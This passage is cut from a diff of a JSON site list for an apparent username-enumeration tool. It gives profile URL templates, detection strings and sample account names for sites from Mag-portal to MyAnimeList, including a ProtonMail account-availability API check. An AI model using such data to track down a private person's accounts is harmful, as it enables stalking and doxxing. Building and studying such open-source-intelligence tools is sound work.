\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1797476, + "urlMain": "https://mag-portal.ru", + "url": "https://mag-portal.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "solp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magabook": { + "checkType": "message", + "absenceStrs": [ + "Page Not Be Found" + ], + "presenseStrs": [ + "Recent Updates" + ], + "url": "https://magabook.com/{username}", + "usernameClaimed": "eric", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Magiimir": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://magiimir.com", + "url": "https://magiimir.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "olya", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7006711 + }, + "Magix": { + "checkType": "message", + "absenceStrs": [ + "(404 - Page not found.)" + ], + "alexaRank": 168753, + "urlMain": "https://www.magix.info", + "url": "https://www.magix.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MaidenFans": { + "tags": [ + "forum", + "in" + ], + "engine": "XenForo", + "alexaRank": 1118824, + "urlMain": "https://forum.maidenfans.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mama": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "presenseStrs": [ + "b-user-fullname" + ], + "alexaRank": 551160, + "urlMain": "https://mama.ru", + "url": "https://mama.ru/members/{username}", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mamochki": { + "tags": [ + "by", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://mamochki.by/", + "url": "https://mamochki.by/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4938389 + }, + "Mamot": { + "tags": [ + "mastodon" + ], + "checkType": "status_code", + "urlMain": "https://mamot.fr", + "url": "https://mamot.fr/@{username}", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + }, + "Mamuli": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1340670, + "urlMain": "https://mamuli.club/", + "url": "https://mamuli.club/profile/{username}", + "usernameClaimed": "Milypa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Manutd": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 31730, + "urlMain": "https://manutd.one", + "url": "https://manutd.one/user/{username}", + "usernameClaimed": "Becks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapify.travel": { + "checkType": "message", + "presenseStrs": [ + "class=\"control-center\"" + ], + "absenceStrs": [ + "Nothing found - Mapify" + ], + "url": "https://mapify.travel/{username}", + "usernameClaimed": "mapify", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mapillary Forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 524835, + "urlMain": "https://forum.mapillary.com", + "usernameClaimed": "slashme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MapMyTracks": { + "checkType": "message", + "absenceStrs": [ + "Sorry, there is nothing to see here" + ], + "presenseStrs": [ + "Daily distance this week" + ], + "url": "https://www.mapmytracks.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Marshmallow": { + "checkType": "message", + "absenceStrs": [ + "\u3054\u6307\u5b9a\u306e\u30da\u30fc\u30b8\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f" + ], + "presenseStrs": [ + "\u3055\u3093\u306b\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u304a\u304f\u308b" + ], + "url": "https://marshmallow-qa.com/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Martech": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "twitter:site" + ], + "url": "https://martech.org/author/{username}/", + "usernameClaimed": "james-green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MassageAnywhere": { + "checkType": "message", + "absenceStrs": [ + "MassageAnywhere.com: Search Results" + ], + "presenseStrs": [ + "MassageAnywhere.com Profile for " + ], + "url": "https://www.massageanywhere.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastera-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3262221, + "urlMain": "https://www.mastera-forum.ru", + "usernameClaimed": "grunja", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Masterkrasok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 402031, + "urlMain": "https://masterkrasok.ru", + "url": "https://masterkrasok.ru/{username}", + "usernameClaimed": "husnullin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastersofcrypto": { + "tags": [ + "forum" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "urlMain": "https://mastersofcrypto.com", + "url": "https://mastersofcrypto.com/forum/members/?username={username}", + "usernameClaimed": "kintum", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2838862 + }, + "Math10": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "phpBB", + "alexaRank": 76773, + "urlMain": "https://www.math10.com/", + "usernameClaimed": "phw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mathhelpplanet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 185231, + "urlMain": "http://mathhelpplanet.com", + "url": "http://mathhelpplanet.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maxpark": { + "disabled": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0428\u0418\u0411\u041a\u0410 50x", + "\u041e\u0428\u0418\u0411\u041a\u0410 404" + ], + "alexaRank": 66775, + "urlMain": "https://maxpark.com", + "url": "https://maxpark.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mbclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<!-- j_requested_page_not_found -->" + ], + "alexaRank": 315579, + "urlMain": "https://www.mbclub.ru/", + "url": "https://mbclub.ru/members/{username}", + "usernameClaimed": "qruiser.308", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcbans": { + "tags": [ + "us" + ], + "checkType": "response_url", + "presenseStrs": [ + "Issued Bans" + ], + "alexaRank": 2671714, + "urlMain": "https://www.mcbans.com", + "url": "https://www.mcbans.com/player/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcuuid": { + "checkType": "message", + "absenceStrs": [ + "minecraft.api_failure" + ], + "presenseStrs": [ + "Successfully found player by given ID." + ], + "url": "https://playerdb.co/api/player/minecraft/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdregion": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 344586, + "urlMain": "https://www.mdregion.ru/", + "usernameClaimed": "Nadka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdshooters": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 296538, + "urlMain": "https://www.mdshooters.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mediarepost": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 3843048, + "urlMain": "https://mediarepost.ru", + "url": "https://mediarepost.ru/@{username}", + "usernameClaimed": "Solo_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medikforum": { + "disabled": true, + "tags": [ + "de", + "forum", + "nl", + "ru", + "ua" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 103341, + "urlMain": "https://www.medikforum.ru", + "url": "https://www.medikforum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medium": { + "tags": [ + "blog", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "userPostCounts" + ], + "absenceStrs": [ + ":{\"__typename\":\"NotFound\"},\"viewer\"" + ], + "alexaRank": 66, + "urlMain": "https://medium.com/", + "url": "https://medium.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Medyczka.pl": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "presenseStrs": [ + "Lista uzytkownikow" + ], + "url": "http://medyczka.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Meendo": { + "tags": [ + "bg", + "kg", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 432700, + "urlMain": "https://www.meendo.net", + "url": "https://www.meendo.net/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MeetMe": { + "tags": [ + "in", + "us" + ], + "errors": { + "fa fa-spinner fa-pulse loading-icon-lg": "Registration page" + }, + "checkType": "response_url", + "alexaRank": 41961, + "urlMain": "https://www.meetme.com/", + "url": "https://www.meetme.com/{username}", + "errorUrl": "https://www.meetme.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megamodels.pl": { + "checkType": "message", + "absenceStrs": [ + "OSTATNIO AKTYWNE PROFILE" + ], + "presenseStrs": [ + "Portfolio" + ], + "url": "http://megamodels.pl/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megane2": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 788808, + "urlMain": "http://megane2.ru/", + "url": "http://megane2.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Memrise": { + "tags": [ + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 8823, + "urlMain": "https://www.memrise.com/", + "url": "https://www.memrise.com/user/{username}/", + "errorUrl": "https://www.memrise.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MetaDiscourse": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 27985, + "urlMain": "https://meta.discourse.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProtonMail": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Username already used" + ], + "absenceStrs": [ + "\"Code\": 1000" + ], + "headers": { + "X-Pm-Appversion": "web-account@4.28.2" + }, + "alexaRank": 27985, + "url": "https://account.protonmail.com/api/users/available?Name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metacafe": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Channel is temporarily not available" + ], + "alexaRank": 22904, + "urlMain": "https://www.metacafe.com/", + "url": "https://www.metacafe.com/channels/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metal-archives": { + "tags": [ + "de", + "music", + "pl", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Points:" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 15612, + "urlMain": "https://www.metal-archives.com", + "url": "https://www.metal-archives.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Microchip": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2924330, + "urlMain": "http://www.microchip.su", + "usernameClaimed": "nightavenger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MicrosoftTechNet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 21, + "urlMain": "https://social.technet.microsoft.com", + "url": "https://social.technet.microsoft.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraft-statistic": { + "tags": [ + "ru", + "ua", + "us" + ], + "checkType": "status_code", + "alexaRank": 660021, + "urlMain": "https://minecraft-statistic.net", + "url": "https://minecraft-statistic.net/ru/player/{username}.html", + "usernameClaimed": "Right", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraftlist": { + "checkType": "message", + "absenceStrs": [ + "0 Minecraft servers recently" + ], + "presenseStrs": [ + "was seen on" + ], + "url": "https://minecraftlist.com/players/{username}", + "usernameClaimed": "dream", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MinecraftOnly": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 393218, + "urlMain": "https://minecraftonly.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Miped": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67599, + "urlMain": "https://miped.ru", + "url": "https://miped.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MirTesen": { + "similarSearch": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "<span>\u041b\u044e\u0434\u0438</span>" + ], + "alexaRank": 6409, + "urlMain": "https://mirtesen.ru", + "url": "https://mirtesen.ru/people/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mistrzowie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://mistrzowie.org/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mix": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 10257, + "urlMain": "https://mix.com", + "url": "https://mix.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MixCloud": { + "tags": [ + "music" + ], + "urlProbe": "https://api.mixcloud.com/{username}/", + "checkType": "status_code", + "alexaRank": 3270, + "urlMain": "https://www.mixcloud.com/", + "url": "https://www.mixcloud.com/{username}/", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixlr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "http:/mixlr.com/", + "url": "http://api.mixlr.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixupload": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c" + ], + "alexaRank": 159856, + "urlMain": "https://mixupload.com/", + "url": "https://mixupload.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobile-files": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 130297, + "urlMain": "https://www.mobile-files.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobrep": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<div class=\"users\">\n <ul>\n </ul>" + ], + "alexaRank": 387120, + "urlMain": "https://www.mobrep.ru", + "url": "https://www.mobrep.ru/users?criteria={username}", + "usernameClaimed": "alextsaryev99", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobypicture": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "Last mentioned in:" + ], + "alexaRank": 18618, + "urlMain": "http://www.mobypicture.com", + "url": "http://www.mobypicture.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ModDB": { + "tags": [ + "au", + "cn", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 6402, + "urlMain": "https://www.moddb.com/", + "url": "https://www.moddb.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Modx_pro": { + "tags": [ + "ru", + "uz" + ], + "checkType": "status_code", + "alexaRank": 249537, + "urlMain": "https://modx.pro", + "url": "https://modx.pro/users/{username}", + "usernameClaimed": "vgrish", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoiKrug": { + "tags": [ + "career", + "us" + ], + "checkType": "status_code", + "alexaRank": 140879, + "urlMain": "https://moikrug.ru/", + "url": "https://moikrug.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Money-talk": { + "tags": [ + "in", + "ua" + ], + "errors": { + "Could not connect to the database": "Site error", + "You have been banned from this forum.": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + ">Contact </span></td>" + ], + "alexaRank": 666935, + "urlMain": "http://www.money-talk.org", + "url": "http://www.money-talk.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Gaia1956", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "MoneySavingExpert": { + "tags": [ + "forum", + "gb" + ], + "checkType": "status_code", + "alexaRank": 10821, + "urlMain": "https://forums.moneysavingexpert.com", + "url": "https://forums.moneysavingexpert.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Monkingme": { + "disabled": true, + "tags": [ + "es", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "<h1>Not Found</h1>" + ], + "alexaRank": 295109, + "urlMain": "https://www.monkingme.com/", + "url": "https://www.monkingme.com/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoscowFlamp": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u0430\u043a\u0438\u0445 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u0435\u043b\u0430\u044e\u0442" + ], + "alexaRank": 21348, + "urlMain": "https://moscow.flamp.ru/", + "url": "https://moscow.flamp.ru/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motokiller": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza materia\u0142y od:" + ], + "url": "https://mklr.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorradfrage": { + "checkType": "status_code", + "url": "https://www.motorradfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 339514, + "urlMain": "https://forum.motorka.org", + "usernameClaimed": "zavitay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mouthshut": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 9854, + "urlMain": "https://www.mouthshut.com/", + "url": "https://www.mouthshut.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movescount": { + "tags": [ + "maps" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "error=4&" + ], + "alexaRank": 141905, + "urlMain": "http://www.movescount.com", + "url": "http://www.movescount.com/en/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movie-forum": { + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 1242615, + "urlMain": "https://movie-forum.co", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Movie-list": { + "urlSubpath": "/forum", + "tags": [ + "ca", + "forum", + "in", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 670388, + "urlMain": "https://www.movie-list.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movieforums": { + "tags": [ + "forum", + "in", + "la" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 198401, + "urlMain": "https://www.movieforums.com", + "url": "https://www.movieforums.com/community/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mozilla Support": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + ">Page Not Found</h1>", + "error-page", + "sumo-page-intro", + "search-results-visible page-not-found", + "search-empty" + ], + "alexaRank": 172, + "urlMain": "https://support.mozilla.org", + "url": "https://support.mozilla.org/en-US/user/{username}/", + "usernameClaimed": "derekmarable", + "usernameUnclaimed": "tasgcxxxcz", + "presenseStrs": [ + "user-nav", + "</article>", + "sidebar-nav", + "noindex", + "sidebar-nav--item" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Mpgh": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "jp", + "us" + ], + "engine": "vBulletin", + "alexaRank": 39467, + "urlMain": "https://www.mpgh.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Msofficeforums": { + "tags": [ + "forum", + "ir", + "us" + ], + "engine": "vBulletin", + "alexaRank": 170905, + "urlMain": "https://www.msofficeforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MuffinGroup": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "urlMain": "https://forum.muffingroup.com", + "url": "https://forum.muffingroup.com/betheme/profile/{username}", + "usernameClaimed": "charlie27", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 8613 + }, + "Munzee": { + "disabled": true, + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "https://www.munzee.com/", + "url": "https://www.munzee.com/m/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 199809 + }, + "MurmanskLife": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<span class=\"userName\"></span>", + "error404-404" + ], + "urlMain": "http://murmansk-life.ru", + "url": "http://murmansk-life.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Music-rock": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://music-rock.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864999 + }, + "Musiker-board": { + "disabled": true, + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "alexaRank": 171473, + "urlMain": "https://www.musiker-board.de", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My-question": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 406064, + "urlMain": "https://my-question.ru", + "url": "https://my-question.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@OK": { + "tags": [ + "ru" + ], + "type": "ok_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "<title>\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ok/{username}", + "usernameClaimed": "524140807468", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@VK": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/vk/{username}", + "usernameClaimed": "337779600", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@bk.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/bk/{username}/", + "usernameClaimed": "tanyagorohova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@gmail.com": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/gmail.com/{username}/", + "usernameClaimed": "chelsea121232", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@list.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/list/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@mail.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/mail/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@ya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ya.ru/{username}/", + "usernameClaimed": "hovsepovich", + "usernameUnclaimed": "MAlKOVyd" + }, + "My.Mail.ru@yandex.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/yandex.ru/{username}/", + "usernameClaimed": "proftek2015", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyAnimeList": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 869, + "urlMain": "https://myanimelist.net/", + "url": "https://myanimelist.net/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": 